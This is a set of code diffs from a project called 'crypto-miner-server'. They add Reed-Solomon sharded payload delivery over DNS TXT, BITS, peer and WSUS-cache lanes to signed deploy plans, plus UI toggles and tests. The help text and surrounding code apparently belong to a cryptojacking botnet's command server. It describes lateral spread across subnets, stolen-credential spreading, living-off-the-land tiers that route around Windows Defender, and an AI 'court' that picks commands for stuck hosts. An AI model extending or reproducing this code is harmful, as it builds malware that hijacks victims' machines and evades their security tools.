}
rt := Build(in)
rec, ok := rt.Recommend("10.9.8")
if !ok || !rec.ErasureLanesEnabled {
t.Fatalf("route=%+v ok=%v", rec, ok)
}
hint := ToHint(rec)
if hint == nil || !hint.ErasureLanesEnabled {
t.Fatalf("hint=%+v", hint)
}
}
func TestToHint(t *testing.T) {
hint := ToHint(RouteRecommendation{
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,

View File

@@ -22,6 +22,7 @@ import (
"crypto-miner-server/internal/cloudflared"
"crypto-miner-server/internal/db"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/maintenance"
"crypto-miner-server/internal/pool"
"crypto-miner-server/internal/scheduler"
@@ -301,7 +302,9 @@ func main() {
}
return api.PublicBuildsConfig{Enabled: cfg.Server.PublicBuildsEnabled, LatestN: n}
}
erasureShardStore := erasure.NewShardStore()
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
publicHandler.BindErasureShardStore(erasureShardStore)
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
deployPlanHandler := api.NewDeployPlanHandler(
@@ -310,6 +313,7 @@ func main() {
func() string { return cfg.Server.FleetSecret },
func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) },
)
deployPlanHandler.BindErasureFromHub(wsHub, erasureShardStore)
// Path Forge: server-side recursive file seeding
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
@@ -403,6 +407,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
FleetRolesEnabled: cfg.Server.FleetRolesEnabled,
HashrateGateSpreadMin: cfg.Server.HashrateGateSpreadMin,
HashrateGateHPS: cfg.Server.HashrateGateHPS,
ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled,
})
}
if poolManager != nil {

View File

@@ -195,6 +195,17 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
<span>Enable adaptive strategy engine <HelpTip field="adaptive_strategy" /></span>
</label>
</div>
<div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={server.erasure_lanes_enabled === true}
onChange={(e) => onUpdate('server.erasure_lanes_enabled', e.target.checked)}
/>
<span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
</label>
</div>
{server.lotl_onion_tiers?.length ? (
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>

View File

@@ -104,6 +104,7 @@ describe('FIELD_HELP', () => {
'ai_auto_elevate_clearance',
'fleet_phenotype',
'failure_atlas',
'erasure_lanes',
'ai_court_session',
'ai_persona',
'ai_persona_aggressive',

View File

@@ -38,6 +38,8 @@ export const FIELD_HELP: Record<string, string> = {
'When one agent in a fingerprint bucket finds a winning spread+mining path, the server publishes a fleet phenotype. Sibling agents inherit tier_order and spread_lane on auth without re-forge — Access Depth and LOTL Timeline show "cloned from" badges.',
failure_atlas:
'Server-side failure atlas records conditioned tier failures (e.g. ps_inmemory under Defender on). After five failures it hard-skips subtrees in adaptive_strategy and pushes atlas_skips on agent auth. LOTL Timeline marks tiers skipped_by_atlas.',
erasure_lanes:
'Optional ReedSolomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
ai_court_session:
'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
calibration_ai_control:

View File

@@ -434,6 +434,7 @@ export default function PathTracerPage() {
<li key={`${route.target_subnet}-${route.seed_agent_id}`}>
{route.target_subnet} {route.seed_agent_name ?? route.seed_agent_id.slice(0, 8)}
{route.join_lane ? ` (${route.join_lane})` : ''}
{route.erasure_lanes_enabled ? ' · RS lanes' : ''}
{route.score ? ` · ${route.score.toFixed(2)}` : ''}
</li>
))}

View File

@@ -343,6 +343,8 @@ export interface ServerSettings {
ai_persona?: string;
/** Split seeders (LAN staging) from miners (RandomX) with auth role hints. */
fleet_roles_enabled?: boolean;
/** ReedSolomon multi-lane shard metadata on signed deploy plans (default off). */
erasure_lanes_enabled?: boolean;
/** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: {
patch_first?: boolean;
@@ -692,6 +694,7 @@ export interface SpreadRouteRecommendation {
clearance_level?: number;
score: number;
reason?: string;
erasure_lanes_enabled?: boolean;
}
export interface ServiceGraphEntry {